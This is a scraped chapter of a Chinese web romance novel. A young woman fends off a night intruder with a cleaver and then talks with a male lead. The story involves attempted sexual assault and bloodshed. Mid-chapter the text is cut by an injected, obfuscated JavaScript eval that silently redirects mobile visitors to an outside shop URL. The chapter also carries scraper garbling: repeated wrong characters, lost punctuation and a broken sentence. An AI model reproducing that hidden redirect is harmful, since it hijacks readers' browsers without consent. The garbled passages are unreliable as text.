第37章 有病

作品:《炙野

    盛夏山林的深夜,四处一片蛙声,月亮高悬,星星也亮。


    辛月洗漱完从浴室出来,把厨房的门关上,但没反锁,今天辛隆不在家,又跑去通宵打麻将去了,她得给他留门。


    农村里房子的布局与城里的很不一样,城里的居民楼大多入门是客厅,厨房在旁边,农村大多数则是由厨房通向其他房间门。


    回到房间门,辛月掀开被子准备上床,正准备把被子拉过来躺下,余光却瞄到被子上有一处暗红的血渍,应该是姨妈侧漏了,她老是喜欢夹着被子睡。


    今天早上她看床单没弄上还以为没有侧漏,结果竟然是漏到了被子上。


    辛月叹口气,又从床上起来,抱起这床薄去浴室,把这一片血渍给搓了,然后丢进洗衣机。


    她家的洗衣机是很老式的那种,转起来后声音比拖拉机还响,隔壁都能听到。


    这大半夜的,她当然不能现在洗。


    回到房间门,她顺便把床单也一起换了。


    辛月力气大,一把就将枕头压着的床单扯了下来,枕头下的那把刀也跟着被单被甩出来。


    刀是一把菜刀。


    这把刀一直压在辛月枕头下,只偶尔拿出来磨一磨。


    辛月把刀拿起来放到一边,重新铺上床单,换了被套后又塞回枕头下。


    离了这把刀她睡不踏实。


    如果不是这把刀在,她早就没命了。


    当年,她提着这把刀准备去砍甘蔗,结果半路看到那个强/奸犯准备杀人灭口,她吓得拔腿就跑,但那时还小的她很快就被追上了。


    情急之下,她砍了他腿一刀才得以脱身。


    她是成功逃脱了,但此后却每晚都做噩梦,梦里全是那个面目狰狞的强/奸犯。


    她经常从梦里惊醒,然而醒了也依旧害怕得浑身颤抖,要去厨房找到那把刀拿着才安心。后来她就索性把这刀放在了枕头下。


    现在她很少再做噩梦,但还是离不了这把刀。她尝试过把刀拿走,怎么都睡不着。


    还好她对这把刀的依赖仅限于家里,在学校住宿的时候没有这把刀她也是能安然入睡,大概她的潜意识认为学校是安全的。


    收拾完把被单丢进洗衣机里已经十二点多了,辛月打了个哈欠,回房关灯睡觉。


    今天月亮是真亮,室内不用点灯都明晃晃的。


    辛月家没有窗帘,是贴的窗纸,但窗纸只能起到个防窥效果,一点都不遮光,山上月亮光又


    清透


    不过辛月已经习惯了倒头就能睡着。如果没有白天发生了什么让她辗转难眠的事一般两三分钟就能睡着只是自从那件事后她一直睡得都很浅一点异样的动静就能让她醒过来。


    大约是凌晨两三点辛月的屋子里终于暗下去了一些月亮被一片云遮挡。


    迷迷糊糊间门辛月总感觉自己听到了开锁的声音但这并未引起她的警惕以为是辛隆回来了翻了个身继续睡。


    后边儿又响起了开门声。


    她家是木门不管用多小的力气推也会发出几阵咯吱的声响。《炙野》,牢记网址:m.1.很快整个屋子又恢复安静。


    辛月仍未在意。


    然而又过了几分钟辛月却猛地睁开眼睛!


    她突然意识到——


    辛隆回家动静不可能会这么小!


    而就在这时她听到了身后明显压抑着却又无法完全压抑的粗重喘息声。


    辛月很清楚此刻在她背后的人绝对不是辛隆辛隆就是喝酒喝到不省人事也绝对不会进她的房间门。


    但奇怪的是她房间门的门关了就必须要用钥匙才能打开如果不是辛隆谁还可能有钥匙?


    “那小子随他爸从根子里就是坏的说是因为偷东西进了好几次少管所我估计就是他干的。”


    王婶之前跟她说过的话突然浮现脑海。


    偷东西……


    有一种人不用钥匙就可以开门——


    小偷。


    大致猜出对方什么后辛月眼底划过一抹冷色沉着地将手伸到枕头下摸出那把刀。


    她身后的那人浑然不觉还正伸手准备去触摸她露在被子外的肩膀。


    然而下一秒辛月出现在了床的另一头。


    举刀对着他。


    “你想干嘛?”


    辛月声音冷静眼神比在夜里泛着冷光的刀刃还要锋利。


    那人明显懵了不知道她什么时候醒的更不知道她从哪儿摸出来的一把刀。


    他背对着窗户逆光看不清脸但辛月从轮廓也认出了这个人就是王婶口中的那个田浩毕竟是有留意过的。


    “田浩是吧。”


    “你……你知道我?”


    田浩声音都在抖不知道是害怕还是太过于不敢置信。


    “给我滚下去。”


    田浩咽了咽唾沫,颤巍巍从辛月床上下去。


    “到边上去抱头蹲着。”辛月命令他。


    被刀指着,田浩不敢不照做,只是田浩也是有经验的人,看辛月跟着他下来倒退着往门口走,知道她是要去喊人,连忙央求道∶


    “求你别喊人!”


    没有人不讨厌小偷,更别说是一个摸进女生房间门想进行猥亵的小偷。辛月猜他以前肯定被抓到过,清楚她出去喊了人后,他会是什么下场。


    “求你了……”


    他哆哆嗦嗦地说,“开门的声音似乎刺激到了田浩,他突然发疯似的冲了过来。


    辛月在他路过窗户时看到了他扭曲的表情,那个样子与曾经在每个噩梦里出现的梦魇如出一辙。


    有那么半秒的时间门,辛月像是被钉在了原地,直愣愣地看着他朝自己冲过来。


    她的大脑如同停止了转动,但身体却做出了本能的反应——


    举起了刀。


    “啊——!”


    耳边响起一声撕破黑夜的惨叫。


    有温热的液体瞬间门喷溅到脸上,辛月猛然间门回神。


    她不知道自己干了什么,眼前一片漆黑,她也什么都看不到,只听得见田浩的惨叫声。而惨叫与脸上的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14078928|84474||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    黏腻的液体又都提醒着她发生了什么。


    她连忙把房间门里的灯按开。


    “啪”的一声,房间门灯光亮起,她看到田浩捂着胳膊在地上疼得打滚,血溅了一地。


    辛月眉头一蹙,当即转身去厨房从灶里摸了一把草木灰过来。


    她蹲下来,一手按着田浩,一手果断地把草木灰按到他伤口上。


    “啊——!”


    田浩疼得疯狂挣扎起来。


    “不想死就给我忍着!”辛月冲他大吼一句。


    田浩胳膊上的伤口很长,如果不及时止血,就算现在带他去医院,他肯定也有性命危险。用草木灰止了血,那他一时半儿还死不了。


    “辛月!”


    这时,外面传来一阵喊声,是陈江野的声音。


    再随着一道落地声,门口响起急促的拍门声。


    “辛月!开门!你不开我踹了!”


    他语速极快,大概是听到了这边的动静。


    “别踹!”


    辛月赶忙喊了一声,然后起身去开门。


    门一打开,辛月头一次在陈江野的脸上看到像是恐惧的表


    情。


    她一愣,不知道他是怕她满脸是血的样子,还是怕她发生了什么。


    “这些血怎么回事?”他连声音都有些抖。


    辛月现在没心思去想一些情情爱爱,只是眼前的陈江野实在不像平时的他,神情依旧微微发怔。


    “你他妈倒是赶紧说!”


    辛月被他吼得浑身颤了下。


    陈江野表情一顿,声音又低下来:“你倒是快说。”


    “王婶之前说的那个男的刚刚跑到了我房间门,我砍了他胳膊一刀。”


    陈江野双眸陡然睁大。


    “他对你做什么了?!”


    “没有,他一进来我就发现了。”


    听辛月这么说,陈江野似乎松了一口气,双眼慢慢恢复至平常大小,在夜里看起来像一条狭长而深邃的幽谷。


    “他人呢?”他又问。


    辛月侧头指了指屋里,语气冷静沉着∶“在里面,我刚给他抹了草木灰止血,一时半会儿死不了。”


    “嗬。”


    陈江野突然笑了一声。


    辛月不知道他为什么要笑,转过头来,奇怪地看向他。


    陈江野迎着她的目光,慢慢俯身。


    在被拉进的距离下,辛月能清晰的看到他双眸的转动——


    他的眸光从她的眼睛流转到她的脸,再到唇,最后又回到她的眼。


    “辛月。”


    他喊她的名字,而后抬手抹了下她脸上的血。


    因他的触碰,辛月双肩微微耸起,长长的睫毛扇了扇。


    在有些慌张而闪烁的视线里,她看见他的唇角缓缓上扬,然后笑着开口∶


    “你真他妈带劲。”


    辛月眉头蹙起,骂他∶“你有病吧。”


    他不怒反笑∶“谁没病。”


    我已病入膏肓,我知道你也是。